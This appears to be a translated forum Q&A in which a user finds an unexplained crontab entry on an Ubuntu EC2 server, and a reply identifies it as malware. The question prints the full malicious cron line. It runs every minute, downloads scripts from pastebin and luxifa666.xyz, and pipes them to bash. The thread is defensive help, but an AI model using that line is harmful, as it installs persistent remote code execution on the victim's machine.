ubuntu 没有 crontab

ubuntu 没有 crontab

当我登录到 ubuntu 服务器 18.04(EC2)的终端时,我得到了这样的信息

Usage:
 kill [options] <pid> [...]

Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
                        specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table

 -h, --help     display this help and exit
 -V, --version  output version information and exit

For more details see kill(1).

Usage:
 kill [options] <pid> [...]

Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
                        specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table

 -h, --help     display this help and exit
 -V, --version  output version information and exit

For more details see kill(1).

Usage:
 kill [options] <pid> [...]

Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
                        specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table

 -h, --help     display this help and exit
 -V, --version  output version information and exit

For more details see kill(1).

Usage:
 kill [options] <pid> [...]

Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
                        specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table

 -h, --help     display this help and exit
 -V, --version  output version information and exit

For more details see kill(1).
no crontab for ubuntu
no crontab for ubuntu

通过查看一些论坛,我认为用户“ubuntu”的 crontab 文件是空的,但是当我使用 **crontab -l ** 时,我得到了这个

*/1 * * * * (curl -fsSL https://pastebin.com/raw/BLPNmuQw||wget -q -O- https://pastebin.com/raw/BLPNmuQw||curl -fsSL https://pastebin.com/raw/t92Qw9LP||wget -q -O - https://pastebin.com/raw/t92Qw9LP||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/BLPNmuQw").read()'||curl -fsSLk luxifa666.xyz:9080/host-manager/java.txt -m 90||wget -q -O - luxifa666.xyz:9080/host-manager/java.txt --no-check-certificate -t 2 -T 60)|bash > /dev/null 2>&1

根据我的研究,它应该可以工作。而且我没有对此文件进行任何修改。我在这里遗漏了什么?

答案1

您的文件和 crontab 中的代码以 开头,(curl -fsSL后面跟着神秘的 URL 等,~/.bashrc看起来像是恶意软件。它会从互联网上下载一些代码(使用curlwget),并尝试使用 Python 和 Bash 执行它。

如果您不是故意添加这些行,请将其删除(先备份内容并将其存储为不可执行文件),并确保您是唯一可以访问虚拟机的人——更改密码是绝对最低限度。检查正在运行的进程(例如,是否有人试图在那里挖掘加密货币?)和系统日志。

相关内容